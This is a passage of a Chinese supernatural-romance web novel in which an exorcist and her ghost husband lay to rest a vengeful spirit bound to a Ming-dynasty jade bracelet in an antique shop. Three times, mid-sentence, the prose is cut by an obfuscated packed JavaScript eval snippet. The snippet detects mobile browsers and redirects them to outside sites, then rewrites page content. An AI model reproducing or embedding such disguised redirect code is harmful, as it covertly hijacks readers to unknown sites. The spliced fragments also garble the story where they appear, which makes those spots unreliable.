半个月后,宴清伤势痊愈,林知夏接到委托,一家古董店的老板全家七口人,不到两周时间,女儿住院昏迷不醒,妻子有早产征兆,弟弟弟媳车祸身亡,父母重病,一大家子人眼见就要家破人亡。 周老板不是无神论者,他去过寺庙,找过道观,钱花了不少,事儿却没解决,家人情况每况愈下,经由陈老板介绍不得已找到了林知夏。 说实话,周老板见到陈老板口中的林大师是个漂亮小姑娘时心都凉了半截,但想着老陈不是那不靠谱的人,才没当场变脸,把家中遭遇仔仔细细说了一遍,放下身段求林大师帮忙,钱不是问题,只要能解决家里祸事就行。 林知夏自打被林家业力影响,在相面占卜方面几乎没了准头,这对她的业务开展影响其实挺大的。比如眼前这事儿,以往相个面或者卜个卦就能推算个七七八八,现在不行了,遇事儿就得亲自走一趟,一点都不高大上。 “聚宝斋”的匾额在秋阳下泛着冷光,林知夏刚进到店里,就被店中萦绕的阴气吓一跳。 这阴气也太浓了。 32. 血玉镯(二) 聚宝斋的玻璃门在身后轻轻合拢,林知夏的鞋踩在青石砖上发出细微声响。她摘下墨镜别在领口,目光扫过博古架上的瓷器,罗盘在帆布包里发出蜂鸣。 “周老板,您这明永乐青花梅瓶——”她指尖悬在展柜上方三寸,“摆得离门口太近了吧?” 穿着唐装的中年男人快步迎过来:“这是上个月从拍卖会收的,我这店里东西有些多,想着放在这里也不难看就随意放了,林大师,这瓶子摆放有什么讲究?” “梅瓶属水,正对巽位风口。”林知夏冲他笑笑,“水汽散财,难怪要遭灾。” 周老板:“…………” 他不敢耽搁,忙指挥店里的员工过来把瓶子先收起来放仓库去,然后小心翼翼问林知夏,“林大师,您瞧出我店里有什么问题没有?是不是就是因为那梅瓶所以我家里才会祸事不断?” 林知夏:“要真是这么简单,周老板也不会找上我了。” 宴清隐匿身形跟在她身后,这时悄声说,“血煞冲天,问问他是不是收了什么不该收的东西。” 林知夏强忍着后颈的酥麻,将罗盘按在檀木展台上,语气淡淡,“周老板最近收过什么特殊的东西没有?好好想,你觉得怪异的,让你不舒服的东西。” 周老板闻言浑身一颤,镶金袖扣撞在玻璃展柜上也顾不上挪开:“林、林大师,我做古董生意,跟这些个古物打交道的时候多,但现在说实话,古董不像以前那么容易收了,好的古董在市面也少了,人家真要出手大多会选择拍卖行。您说怪异的,让我不舒服的东西,上个月确实收了套明代头面,很漂亮,我准备给我闺女留着当嫁妆就没摆出来。您不提我还不觉得有什么,您这么一问,我心里首先想到的就是那副头面,说起来这头面是真漂亮,当时我家里人都拿着看了……”说到这里他脸色煞白,“会不会——” 林知夏:“带路。” 周老板的古董铺,前面是店面,后面是院子,小院不大,有四五间房,当仓库和员工宿舍用,这里放得毕竟都是值钱的玩意儿,哪怕晚上闭店,也必须留人守着,不怕一万就怕万一,这里二十四小时不离人。 穿过三道防盗门,地下保险库里阴寒刺骨。 这仓库里放得都是周老板的心头爱,面积虽然不大,但也显得琳琅满目。然而林知夏对这些几乎视而不见,她径自走到黄花梨博古架前,目光死死盯住玻璃展柜里的血玉镯。镯身浮动的暗红纹路像血管般缓缓收缩,在日光灯下泛着诡异光泽。 “林大师,这就是半个月前收的那副头面里的镯子。”周老板抹着额角冷汗,“说起来家里出事就是从收了它们开始的。” 很多事经不起细究,周老板也不是笨人,被人稍一点拨,前后再一串联,还有什么不明白的。 他家里的变故,大概率就是出在这套精致华美的头面上! “嘉靖三十八年肃王府的陪葬品,浸过王妃心头血。”宴清指尖轻点展柜玻璃,“这镯子需要过七条人命才能成煞,周老板府上才折损两人,早得很。” 要不是时机不对,林知夏真想对身边这位隐匿身形站着说话不腰疼的鬼君呵呵两声,已经填了两条人命了,还早呢!她忍着没翻白眼,但也把话委婉的转述给了周老板。 周老板“扑通”跪在地上:“林大师,求您救救我家!我闺女还在ICU躺着,她才十七!我太太肚子里怀着七个月大的孩子!我爸妈平时行善积德与人为善,从来没做过伤天害理的事!要是有报应,都报应到我身上吧!是我贪心!都是我的错害死了我弟弟跟弟媳!!”说着这个四十多岁的男人忍不住呜呜哭了起来。 林知夏有些不是滋味,她问,“镯子内壁有没有刻字?” “有、有!”周老板顾不上哭了,哆嗦着掏出钥匙去开玻璃展柜,一边说,“刻着‘永结同心’,但‘心’字是倒着的……” 玻璃罩开启的刹那,阴风卷着腐土味扑面而来。晏清手腕翻卷将林知夏护在身后,鎏金瞳孔映出镯身上游走的黑气,他告诉林知夏,“肃王妃为悬梁自尽,陪葬宫女八十有一。” 林知夏听了感觉不太妙,用镊子夹起玉镯对光细看,血丝在玉髓中显得越发明艳,她咕哝,“《明史》记载肃怀王夫妇琴瑟和鸣,看来又是笔糊涂账。”要不然好好的王妃怎么会自杀,这死法实在不光彩。 “琴瑟和鸣?”晏清忽然握住她执镊的手,指腹擦过她虎口龙纹,“那王妃心口插着七枚断情钉,棺椁四角镇着和合二仙像——这般琴瑟和鸣,倒是别致。” 林知夏:“………”哇! 她将玉镯放回丝绒托盘,转头看见晏清正在看另一个展柜里的翡翠扳指。林知夏问,“周老板,这枚扳指和玉镯是同批收的?” “对对,都是一起收的。”周老板话未说完,手腕突然被林大师擒住,他听到林大师文,“周老板,你最近是不是常做同一个梦?有没有梦到穿着红嫁衣的女人在您耳边哼曲儿?” 周老板瞳孔骤缩:“您怎么……” “眼尾生赤纹,耳后泛青筋。”她松开手在纸巾上擦了擦,“这是被阴魂缠身的征兆。劳驾把令千金生辰八字给我。” 周老板忙报了女儿的八字出来,林知夏受业力影响现在掐算不出来,只能靠宴清。宴清懒洋洋的掐指一算,“命不该绝。” 林知夏放了心,告知了周老板,周老板几乎喜极而泣,结果还没哭两声,整个地下室仓库开始剧烈震颤起来,转角处的青花瓷瓶接连炸裂,瓷片裹着黑雾凝成个宫装女子虚影。 林知夏看向惊呆了的周老板,以为他被突然出现的女子吓傻了,结果听到他哀嚎一声,“我的青花瓷!!!” 林知夏:“………” 见周老板想要过去给那些残余的瓷器‘收尸’,林知夏伸手将人拦住,“别过去!” 周老板看上去悲痛欲绝,却也不敢不听大师的话。 只见那宫装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368625|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女子朱唇轻启竟是中年女声:“本宫的凤冠呢?” 林知夏看向周老板,周老板这会儿冲动劲过去知道害怕了,哆哆嗦嗦指向一个展柜,林知夏顺着看过去,确实有一顶精美凤冠在那里摆着。宫装女子似要抓取,却被幽冥火拦住了去路,女子突然发出凄厉尖啸,林知夏趁机甩出五帝钱钉住四方,转头对吓懵的周老板摆手:“别在这待着了,出去!” 周老板不舍的看了眼仓库里自己的收藏品,声音哆嗦,“林大师,这都是我半生积蓄,您,您……” 林知夏:“要钱要命!” 周老板想想家人,又瞅瞅自己的半生珍藏,咬咬牙,跑了! 他一走,晏清直接现身。广袖翻卷挡住飞溅的瓷片,顺势将林知夏扯进怀里。沉水香混着幽冥火的冷冽气息扑面而来,他贴着她耳垂低笑:“娘子这次打算怎么超度?火烧还是水淹?” “先礼后兵。”林知夏摸出当时在拍卖会买来的‘惊夜’,“毕竟是王妃。” 话音未落,宫装女子已经扑来。晏清揽着她旋身避开,玄色衣摆扫过博古架,差点带倒几个瓷瓶,还是林知夏眼疾手快甩出墨斗线把瓶子给稳住了。 虽然周老板选了命,但能给人家减少损失,还是努力减少吧。 她的桃木剑堪堪架住宫装女子的利爪,剑身与玉镯相撞迸出火星:“你别闹了啊,王妃要是再闹,别怪我不留情面!” “放肆!”宫装女子喉间滚出威严呵斥,晏清眼神骤冷,指尖幽冥火凝成长枪直接洞穿女子肩头,林知夏趁机将桃木剑刺入玉镯,血丝瞬间爬满镯身:“天地玄宗,万炁本根——破!” 翡翠碎裂声与女人惨叫同时响起。晏清这时扣住林知夏的手腕将人带离原地,而他们原先站立的地方竟渗出了暗红血渍,血渍如有生命,逐渐汇成个“冤”字。 “倒是执着。”晏清指尖拂过林知夏汗湿的鬓角,微哂,“本君倒要看看,你的冤能有多惨。” 林知夏按住他结印的手:“让我来。” 她从帆布包里摸出个彩绘漆盒,掀开盖子的瞬间,满室阴气为之一滞。晏清挑眉:“问米?” “现代改良版。”林知夏将糯米撒在血字周围,将之前看到的那枚玉扣按在漆盒中的稻草人眉心,咬破指尖画下招魂符:“荡荡游魂,何处留存——归!” 阴风骤起,稻草人突然立起。宫装美妇的虚影被迫没入草人体内,林知夏迅速用红绳缠住草人脖颈:“王妃为什么纠缠周家?” “他们动了本宫的妆奁……”草人发出沙哑嗓音。 晏清突然并指划开虚空,幽冥火镜映出肃王与肃王妃的墓室影像。当看到棺椁中扭曲的合葬姿势时,林知夏倒吸冷气:“肃怀王是被活埋的?” “王妃好手段。”晏清冷呵,“用夫君尸身养玉,难怪怨气经年不散。” 林知夏趁机将桃木钉刺入草人心口:“尘归尘土归土,你的仇早报完了,安息吧。” 33. 血玉镯(三) 林知夏打算尽快解决眼前的事。 很明显,这个王妃不占理。 她有冤,渣男都死了,还是被活活埋死的,多大冤解不开啊。现在几百年过去了,盯着人家古董商不放,非要人一家子的命这就很过分了。真要出气,找盗墓贼啊,不是盗墓贼偷出头面,周老板能花钱买到吗? 已经填了两条命了还不知足,厉鬼都没她这么黄世仁的。 地库的白炽灯在头顶滋啦作响,林知夏腕间龙骨镯泛起涟漪,闪烁的灯管瞬间不闪了。肃王妃的残魂在稻草人里剧烈挣扎,红绳勒进草茎发出令人牙酸的吱嘎声,插入胸口的桃木剑并没有成功让肃王妃魂飞魄散。 林知夏没想到只是黑雾凝成的虚影竟然也这么凶的,她有些惊讶,宴清提醒她,“这女人用夫君尸骨养玉,罪业都推到肃王身上,好处她全占了,似鬼非鬼,煞气所凝,不可用一般鬼怪的法子应对。” 林知夏咋舌,“这招好狠啊。” 稻草人听到发出怒斥:“本宫与那负心汉同棺共椁四百余年,日日受他怨气侵蚀——尔等懂什么!” 是说她也不容易? 林知夏看着从草人眼窝中渗出的暗红血丝怪唏嘘的,指间五帝钱突然发烫,她反手将铜钱钉在漆盒四角:“周家不过收了你几件陪葬品,你就要人全家偿命,人家很冤好吧。” “他们动了不该动的物件!”稻草人脖颈红绳应声断裂,阴风裹着碎瓷片扑面而来。宴清揽着她旋身后撤,玄色衣摆扫过展柜时,那顶嵌着东珠的鎏金凤冠突然腾空而起。宴清隔空抓握,倏而凤冠握于掌中,然后,简单粗暴徒手拿下上嵌的东珠。 林知夏:“…………”啊啊啊啊啊啊!!!! 宴清似没察觉到怀中人的崩溃,他捏着东珠端详片刻,幽冥火自指尖窜出,绕着东珠烧灼片刻,原本漂亮大而圆的珠子竟然慢慢变成了小小的一枚翡翠珠子,直径有个两毫米那样,跟东珠比起来差太远了。 林知夏:“…………!!!!”周老板这是走了眼啊!凤冠最贵的就是东珠,结果东珠是个假的! “玉娘,嘉靖三十七年腊月赠。” 正在左突右撞的稻草人突然安静下来,林知夏诧异,“珠子上刻得有字?” 宴清嗯一声,将翡翠珠子递到她跟前让她瞧,林知夏眯着眼看半天才看清上面刻着的蝇头小楷,真的太小了,一般人稍微视力差点真看不清。 “玉娘?是你闺名?”林知夏问稻草人里的肃王妃。 回应她的是稻草人发出的凄厉哀鸣,阴气凝成的宫装虚影自稻草人中分离出来,踉跄着扑向林知夏他们。宴清指尖幽冥火化作囚笼将她困住,鎏金瞳孔仿佛看透世间万千真相,他冷冷道,“你非肃王妃。” 林知夏:“what?!” 宴清:“为夫听不懂番邦语。” 林知夏:“……我只是表示下震惊,她跟肃王合葬在一起,还用肃王尸骨养玉,她不是肃王妃会是谁?!” 宴清:“看看就知。” 地库陷入死寂。宫装虚影在幽冥火中渐渐褪去华服,露出内里粗麻丧衣。原本精致的发髻散落成枯草,眉心赫然插着三寸槐木钉。 “好个李代桃僵。”宴清指尖拂过林知夏肩头,替她挡去扑面阴寒之气,“用王妃凤冠养替身傀,倒是深得厌胜精髓。” 女鬼枯爪扒着幽冥囚笼,嗓音沙哑如砾石相磨:“那毒妇将我制成人傀陪葬……我要她血脉断绝!” 林知夏有听没懂,“你是说自杀身亡的不是肃王妃,是你?”妈呀,惊天大瓜! 顿了顿,“周家跟你应该无冤无仇。”肃王妃本姓周? “他们收了凤冠!”女鬼突然暴起,枯发如蛇缠向林知夏脖颈,“那毒妇的诅咒……咳咳!” 宴清手指微弹,幽冥火沿着女鬼发丝逆烧而上。女鬼惨叫着跌回囚笼,魂体竟被烧得透明三分。 宴清:“说清楚。” 女鬼怔怔望着宴清手中的那枚东珠,半晌突然吃吃笑起来。阴气顺着囚笼缝隙渗出,在墙面凝成斑驳画面。 “嘉靖三十七年冬,肃王府。” 宴清指尖轻点幽冥火,画面陡然清晰。 林知夏扭头冲鬼君大大露出个赞许的眼神。 鹅毛大雪落满王府飞檐,梳双丫髻的少女躲在游廊偷看锦衣华服的公子。她耳垂挂着翡翠耳珰,发间别着银丝蝴蝶簪,这个翡翠耳铛的翡翠就是凤冠上嵌的这颗! “玉娘!”管家婆子拎着扫帚追来,“王妃唤你去梳头!” 画面倏地扭曲。昏暗寝殿里,凤冠霞帔的肃王妃将金簪抵在少女咽喉:“好个吃里扒外的东西,竟敢肖想王爷!” “奴婢没有……”玉娘瑟瑟发抖,耳珰突然被扯落在地。 “没有?”王妃指尖抚过她清秀眉眼,“这双眼珠子……倒是生得勾人。” 鲜血溅上描金屏风时,林知夏腕间龙骨镯突然收紧。宴清皱眉捂住她眼睛:“别看。” “我要看。”她攥住他冰凉手腕,“这反转也太惊人了!” 画面已转到阴森地宫。玉娘被活钉进沉香木棺,七根镇魂钉穿透四肢。王妃将血玉镯套在她腕间,温柔拭去她眼角血泪:“替本宫守好王爷……来世给你个好胎。” 最后一枚槐木钉穿透眉心时,玉娘喉间发出非人嘶吼。地宫四壁的合欢花纹突然渗出黑血,在棺椁上汇成反八卦。 “原来如此。”林知夏表情复杂,“王妃用你作替身傀,是要你替她承受肃王怨气!肃王是被活活闷死在棺椁中,史书记载肃王妃先死,其实是假的,肃王惹怒皇帝被秘密处决,秘而不宣,等到‘肃王妃’身死,不久肃王追随亡妻病亡就说得通了。” 但有一个问题,“真正的肃王妃有这么大的能耐吗?” 宴清打个响指,墙上重新出现画面:“真正的肃王妃与一龙袍男子相携走在花园中,两人看上去非常亲昵,那是种一瞧就属于不正当男女关系的亲昵。” 林知夏:“…………”她以为有些影视作品已经很狗血,没想到历史真的可以更狗血! 这……上哪说理去! 从之前的画面看,玉娘跟肃王确实有苟且,她耳上的翡翠珠子还有上面的刻字就是证明,那是肃王亲手刻的字。但因此让玉娘成为替身被活活钉死在棺木中,肃王妃的行为也不咋地。 有脚步声由远及近。宴清将林知夏护在身后,周老板显然被眼前的情景吓得不轻,他瘫坐在楼梯口结结巴巴说:“林、林大师……” “不是让你在外面等着?”林知夏话音未落,突然看见他怀里抱着的黄花梨木盒——盒盖缝隙正渗出暗红血丝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381627|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女鬼突然发出凄厉尖啸:“还给我!” 木盒应声炸开,泛黄的身契飘落在地。林知夏瞥见“陈氏玉娘”几个字,突然明白过来:“周老板,你祖上本姓陈?” “我爷爷是入赘……”周老板话未说完,突然被无形的力量扼住咽喉。 宴清弹指击碎虚空中的阴气,顺势将林知夏推向安全角落:“玉为媒介,毁了它们!” 林知夏翻身滚过展台,桃木剑精准刺入玻璃展柜。挨着摆放的玉饰头面接连炸裂的瞬间,女鬼魂体突然凝实,竟突破幽冥囚笼直扑周老板。 “天地玄宗,万炁本根!”林知夏咬破指尖将血涂在鲁班尺上,殄文泛起金光,“喂,你恨错了人!” 尺面重重拍在身契上,泛黄纸页浮现暗金脉络。玉娘残魂如遭雷击,怔怔望着血脉纹路中浮现的祖谱虚影。 “周家是你胞弟的后人。”林知夏将身契按在她心口,“你看仔细,这上面盖着陈氏祠堂的印!” 女鬼枯发无风自动,魂体忽明忽暗。宴清趁机并指划开她眉心槐木钉,鎏金瞳孔闪过龙影:“还不清醒?” 翡翠耳珰突然泛起柔光,玉娘残魂发出最后一声呜咽。 林知夏都不知道说什么好,玉娘之所以要杀周老板一家根本不是因为周老板收了不该收的东西,只是因为玉娘以为周老板是肃王妃的后人。结果,周老板一家是她自己的血亲! 这太糟糕了。 一般情况鬼不会认不出自己的血亲,灵体比活人更容易感应到血脉牵连。但坏就坏在那个肃王妃够狠辣,她在玉娘尸身上做了手脚,导致玉娘以为她中了肃王妃的诅咒,凡她所感应到的自己的血亲皆是肃王妃的血亲,但结果恰恰相反,她是中了计了。 宴清划开她眉间隐匿的槐木钉,用龙气涤荡她满身煞气,如拨云见日恢复清明。 但惨剧也已经酿成。 周老板的弟弟弟媳人死不能复生。 幽冥火中浮现梳双丫髻的少女,她冲着周老板方向盈盈下拜,彻底消散前将翡翠耳珰轻轻放入林知夏掌中。 她似鬼非鬼,因煞气而活,现在恢复清明,煞气散尽,自然也要不存于世了。 晨光漫过古玩街的青石板,周老板捧着身契老泪纵横:“冤孽啊!这都是冤孽啊!” “耳珰是认亲凭证。”林知夏将装着耳铛的盒子推过去,“找个香火旺的寺庙供着吧。” 宴清倚在博古架旁把玩血玉镯残片,闻言轻笑:"娘子总是这般心软。” 林知夏心说这算哪门子心软。 她转头对周老板正色道:“煞气虽除,但莫店里这八方聚财局得改。门口那尊貔貅要换成玄武,巽位添座流水摆件……” 话未说完,腕间突然一紧。宴清借着隐身凑近她耳畔:“说好等会儿陪我去城隍庙取东西,娘子莫不是忘了?” 温热呼吸拂过颈侧,激得她险些碰翻茶盏。周老板浑然不觉,还在认真记笔记:“流水摆件要什么材质?黄玉的成吗?” “汉白玉最佳。”林知夏强作镇定,桌下狠狠踩住某人云纹靴面,“摆件底座要刻二十八宿图,我画个样式给你。” 玄色衣袖忽然缠上她腰肢,宴清指尖在她后背慢条斯理画圈:“再不走,为夫可要做点别的了。” 林知夏:“………” 34. 血玉镯(完) 离开周老板的聚宝斋,林知夏表情显得有些郁郁。宴清跟在她身侧,好笑的轻弹她眉心,“怎么突然就不高兴了?” 林知夏避开路上行人,低声问,“那个肃王妃的真正结局是什么?” 宴清:“娘子可是为玉娘抱不平?” 林知夏:“也不算吧,玉娘是肃王妃的陪嫁丫头,她瞒着主子跟肃王先有苟且,被肃王妃发现,在那个年代,死是稀疏平常的事。只是玉娘死得有点太惨了,杀人不过头点地。” 宴清不以为然,“要说惨,肃王难道不惨?” 林知夏:“渣男,活该。” 宴清瞅着她一阵无语。 林知夏振振有词,“本来就是啊,你没看刚才玉娘的回忆吗,是肃王先勾搭人家小姑娘的,你想想,一个高富帅有权有势的男人突然向一个底层的单纯女孩子表达喜欢,这搁谁身上也经不住考验啊。是,玉娘作为陪嫁丫头跟男主人搞到一起是很不道德,但是,肃王才是罪魁祸首,他但凡要点脸,尊重自己的老婆,不对王妃的陪嫁丫头伸出罪恶的魔爪,后面一系列的事都不会发生!古代三妻四妾又没人管,他那样的地位那样的身份,什么女人要不到,干嘛偏偏对老婆身边人下手,这就是打老婆的脸,在那个时候,皇家最重视的不就是脸面吗!脸都没了,要越过老婆提拔她身边的梳头丫头做侧妃,王妃肯定发疯啊!活该他被老婆戴绿帽、被算计死!” 宴清:“………” 宴清反驳她,“你们人类说‘情不知所起,一往而深。’,肃王对玉娘也许是真爱。” 林知夏呵呵,“要是真爱,也没见他为玉娘守身啊,不照样睡王妃,一边睡着人家,一边说人家的梳头丫头是真爱,你就说肃王渣不渣吧!” 宴清:“………” 林知夏继续道,“而且肃王答应人家王妃一生一世一双人,一年不到就移情别恋,他妥妥的渣男!别看他对玉娘好像多喜欢似的,信不信回头再遇到个看对眼的女的,照样是真爱,他就是那种标准的渣男模板,觉得自己很深情,其实就是个花心大萝卜!” 宴清:“………所以你到底在为谁鸣不平?” 林知夏愣了愣,撇嘴,“算了,时过境迁,我纠结这个干嘛!都不无辜!” 一人一鬼坐上车,林知夏系好安全带,正准备发动车子,宴清一个响指,眼前出现幽冥火镜,上面是之前时光回溯的后续。 肃王妃被皇帝安排在宫外隐姓埋名,两人偷偷摸摸着实过了段相亲相爱的神仙日子。 但好景不长,幽冥火最后的画面,肃王妃被一杯鸩酒了结了性命,家族被查抄,断九族,血亲无一生还。 林知夏长呼口气,“………也挺惨的。” 宴清收回幽冥火镜,似笑非笑看她,“对这结果,娘子可满意?” 林知夏瞥他一眼,嘴巴微不可察的噘了下,“去城隍庙是吧,我开车了啊。” 这话题转移的,宴清啧一声,笑了笑,也不与她计较。 ** 城隍庙的银杏叶落满石阶,一人一鬼隐匿了身形拾阶而上。 这次来城隍庙宴清说是来取东西,林知夏好奇,却没细问。 庙里有道士,由于跟清风观关系微妙,所以无论是她还是宴清都不适合此时光明正大的出现。 “娘子耳垂沾了朱砂。”宴清拈起片银杏叶在她耳尖扫了扫,叶尖上就染上了一抹嫣红。林知夏摸出个小镜子照了照,果然看见耳垂上残留着驱邪用的朱砂,应该是之前不小心蹭上的。正要用手擦掉,冰凉指尖忽然贴上来轻轻揉搓,宴清借着身高优势将她困在一棵银杏树下,玄色暗纹衣摆与鹅黄落叶纠缠不清。 “别动。”他嗓音低了几分,“小心沾到头发。” 林知夏:“………就这一点点,不会沾到头发。” 宴清:“听话,为夫帮你。” 林知夏:“………” 她后背抵着树干,鼻尖全是沉水香混着银杏果的苦涩味道,指腹擦过耳垂的触感被无限放大。 “昨日教你的解煞口诀,”宴清忽然俯身,银发扫过她泛红的耳尖,“可还记得?” “坎离相济,巽震相薄……”她刚背半句,唇上突然袭来凉意。银杏叶打着旋儿落在肩头,唇齿间漫开沉水香的清冽。 林知夏攥着他衣襟的手微微收紧,墨玉戒上的并蒂莲纹泛起暖意。宴清扣住她后脑加深这个吻,幽冥火在四周结成屏障,将飘落的银杏叶都定格在半空之中。 “呼吸。”他低笑着退开半寸,指腹摩挲她湿润的唇角,“娘子这般,好似为夫在欺负人。” 林知夏:“……” 她抬脚要踹,被他顺势揽住腰肢转了个圈。玄色衣摆扫过满地金黄,惊起两三只啄食的麻雀。 “放开我!”林知夏红着脸推他,“能不能正经些!” 宴清捻起她发间银杏叶,瞳孔映着秋阳深邃迷人,“为夫在帮娘子补气通络,哪里不正经?” 林知夏:“……呸!” 城隍庙的琉璃瓦在暮色里泛着青灰,林知夏踮着脚按照宴清的指示找到城隍像左脚旁边第三块砖。 她狐疑地敲了敲对应位置的青砖,空响传来时眼前一亮。指尖刚触到砖缝,供桌上的长明灯齐齐熄灭,阴风卷着纸灰扑面而来。林知夏压根没理,幽冥火会为她挡去了一切。 “这里面是什么?”她终于问出口。 宴清:“娘子可想过肃王妃还有后手?” 林知夏坦然答,“当然想了啊,肃王妃既然可以将玉娘制成替身傀,那就说明她身边至少是有奇人的,这样的女人哪怕是恋爱脑,也会为自己留下退路。” 说到这里她突然明了,大眼睛忽闪忽闪,晏清指尖拂过她顺滑的发梢,笑道,“娘子不妨猜猜,那女人将真身藏在了何处?” 林知夏倏地转头望向刚撬开的青砖,“那里?!” 看着她震惊的模样,晏清轻笑:“四百年前此处是肃王府家庙——” 话未说完,地面裂开蛛网状缝隙,数十条裹着金箔的纸蛇破土而出。 “天地玄宗,万炁本根!”林知夏甩出墨斗线缠住梁柱,借力跃上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15384939|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 供桌。纸蛇撞在幽冥火凝成的屏障上,金箔簌簌脱落露出内里森森白骨——这些竟是用婴孩指骨扎成的傀儡! 晏清瞬移至她身后,玄色衣袖卷住扑来的蛇傀:“娘子可还记得《鲁班经》中的焚阴诀?” “记得是记得……”林知夏咬破指尖在桃木剑身画符,剑锋触及蛇傀的刹那,幽冥火顺着墨斗线燃成火龙。供桌下的青砖轰然炸裂,一股黑雾直冲屋顶。晏清揽着她旋身避开飞溅的碎石,林知夏反手将鲁班尺插入地缝,“乾坤倒转,地脉重开——镇!” 青光顺着尺面殄文蔓延,黑雾中渐渐凝出凤冠霞帔的女子虚影。 “何人打扰本宫清修?” 墨玉戒迸出青光,晏清广袖翻卷如云,他答,“好人!” 林知夏没忍住噗嗤笑出声,幽冥火与黑雾相撞的刹那,晏清冰冷的唇贴上她的后颈,龙纹顺着相触的肌肤游走:“闭眼。” 黑暗降临的瞬间,她听见肃王妃的尖叫混着梵唱刺入耳膜,再睁眼时已置身老宅书房,晏清正把玩着从城隍庙顺来的青铜香炉。 “这就……结束了?”她有些茫然,“那女人……” “一缕残念罢了。”晏清不以为然。 林知夏:“刚刚动静……城隍庙没事吧?” 宴清抬头冲她笑笑,“无碍,打斗前我用了结界,破坏有限,娘子勿忧。” 林知夏走到他跟前,“你带我去城隍庙就是为了给整件事做个收尾?” 宴清伸手将她揽到身前,“娘子做事最喜有始有终,为夫身为夫君,自当宠着惯着,娘子无需感动。” 林知夏:“………” 两天后,林知夏接到周老板电话,说女儿已经苏醒,妻子的胎也保住了,父母身体都开始向好恢复。 林知夏在电话里表示了恭喜,周老板恳请她再到店里帮忙看看风水,指正下不足,他现在就像那惊弓之鸟,一点疏忽都不敢有。 林知夏想着收了人家那么多钱呢,善后工作不能省,于是欣然应允。 周老板端着描金漆盒从内室转出来,盒中躺着对和田玉镇纸,雕着北斗七星纹样——正是按林知夏要求重制的风水阵眼。 “林大师,您看这样式成吗?”周老板眼下乌青未消,嘴角却挂着如释重负的笑,“我特意请了苏州老师傅连夜赶工做出来的。” 林知夏用罗盘测过玉质,磁针在“坤”位轻轻颤动:“玉料取自昆仑山脉,倒是契合地脉之气。”她示意周老板将镇纸摆在收银台两侧,“左辅右弼,记得每逢朔望日要用无根水擦拭。” 周老板问:“无根水就是雨水对吧?我让店员每天看天气预报,一下雨就接水储存。” 林知夏:“不用,现在雨水和古时不同,用过滤的纯净水就可以。” 周老板感叹,“与时俱进啊。” 林知夏笑笑,又指正了一些不足的地方就打算走人,结果周老板有些不好意思的开口说,“是这样的林大师,我姑妈家里最近有些不安生,她孙子连续闹很久了,去医院也查不出病因,能不能麻烦您……” 35. 问米婆(一) 周老板姑妈家在郊区,是栋城中村自建房,三层小楼,水泥院子,水泥外墙,除了大门很气派,其它看上去挺朴实无华的。 小院飘着艾草香,林知夏刚跨过院子门槛就踩中个塑料奥特曼。她弯腰捡起来,发现奥特曼胸口处贴着张褪色的黄符,符纸边缘还沾着可疑的油渍。 “镇宅符贴玩具上?”她咕哝,“挺别出心裁的。” 林知夏拿着玩具想着等会儿还给主人,结果听到隐身状态的宴清淡淡说,“朱砂掺了童子尿,看来这家人请过不入流的先生。” 后半句直接被屏蔽,林知夏只听到了‘童子尿’三个字! 把她给嫌弃的,立马松手扔掉,又用另一只干净的手从包里拿出湿巾使劲擦,擦完不算,强烈要求宴清用幽冥火把她的手过一遍,宴清失笑,“玄门中人竟嫌弃童子尿?” 林知夏正要回怼,就见一位身穿碎花棉睡衣的老太太端着搪瓷缸迎出来:“林大师是吧?快!快进屋里坐!” 林知夏客气的打了招呼,客随主人便,径自跟着老太太进了屋子。 堂屋八仙桌摆着个插满香的米碗,林知夏视线扫过墙上挂着的全家福,发现男主人印堂处泛着诡异的青灰。正要细看,里屋突然传来孩童撕心裂肺的哭喊:“奶奶!有红眼睛!” “哎呦我的乖孙!”老太太慌得打翻了搪瓷缸,枸杞红枣茶泼了满地顾不上管。林知夏指尖夹着五帝钱跟进去,正撞见五岁男童用指甲在墙上抠来抠去,手指都抠出血痕了也没停下。 仔细看,他抠出的痕迹有点像歪歪扭扭的红眼睛,不是一只,是很多只眼睛。 林知夏蹙眉,正要上前查看,宴清拦住她,“那是阴眼符。” 林知夏看向墙上涂鸦似的抽象红眼睛,一脸的‘别欺负我不懂,阴眼符什么样我还是知道的’。 宴清也不解释,挥一挥衣袖,肉眼看不见的幽冥火瞬间将血痕吞没,在吞没的刹那,一股无形的气场随之湮灭。 那是专属于符箓的‘炁’。 林知夏:“……”林知夏扶额,小声问,“怎么个情况啊?” 宴清睇她一眼,高深莫测道,“娘子着相了。” 林知夏:“哈?” 男童这时突然停止了哭闹,他歪着头打量虚空:“银头发的叔叔在烧画。” 老太太腿一软跌坐在地:“这、这孩子……又胡说了!” 林知夏心说他可没胡说,人家是实话实说。 